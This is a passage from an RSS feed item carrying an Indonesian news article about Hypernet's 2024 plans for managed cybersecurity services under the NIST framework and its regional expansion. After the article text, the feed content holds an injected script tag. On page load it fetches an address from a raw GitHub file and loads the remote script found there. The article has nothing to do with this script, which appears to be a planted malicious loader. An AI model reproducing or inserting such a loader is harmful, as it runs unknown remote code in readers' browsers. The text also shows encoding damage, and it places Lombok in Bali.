<p>Sementara, Sudino Oei yang menambahkan perkataan Sudianto Oei mengatakan bahwa keamanan siber memang masih menjadi salah satu kendala bagi pelaku usaha di Indonesia. Karena itu, Hypernet menjadikan keamanan siber sebagai komitmen besarnya di tahun 2024.</p>



<p>&#8220;Berpedoman kepada National Institute of Standards and Technology (NIST) Framework, Hypernet akan membantu pelaku usaha untuk mendapatkan layanan identifikasi, proteksi, deteksi, respons, hingga pemulihan dalam satu tempat,&#8221; jelas Sudino Oei.</p>



<p>Nailul menambahkan, pelaku MSP termasuk Hypernet dapat memberikan kontribusi yang krusial bagi pertumbuhan ekonomi digital Indonesia kelak. Alih-alih melakukannya sendiri, pelaku usaha yang terkendala dari segi anggaran maupun SDM bisa bermitra dengan MSP.</p>



<p>&#8220;Seperti UMKM, dapat memilih untuk bermitra dengan penyedia layanan terkelola atau MSP yang dapat menawarkan sumber daya teknologi dan keamanan siber yang mumpuni dalam rangka melangsungkan transformasi digitalnya,â€ pungkas Nailul.</p>



<p>Memasuki 2024, Hypernet juga berencana menghadirkan layananÂ managed servicesÂ di beberapa daerah di Indonesia, termasuk Medan di Pulau Sumatera, NTT dan Lombok di Bali, Manado di Pulau Sulawesi, serta Banjarmasin di Pulau Kalimantan.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
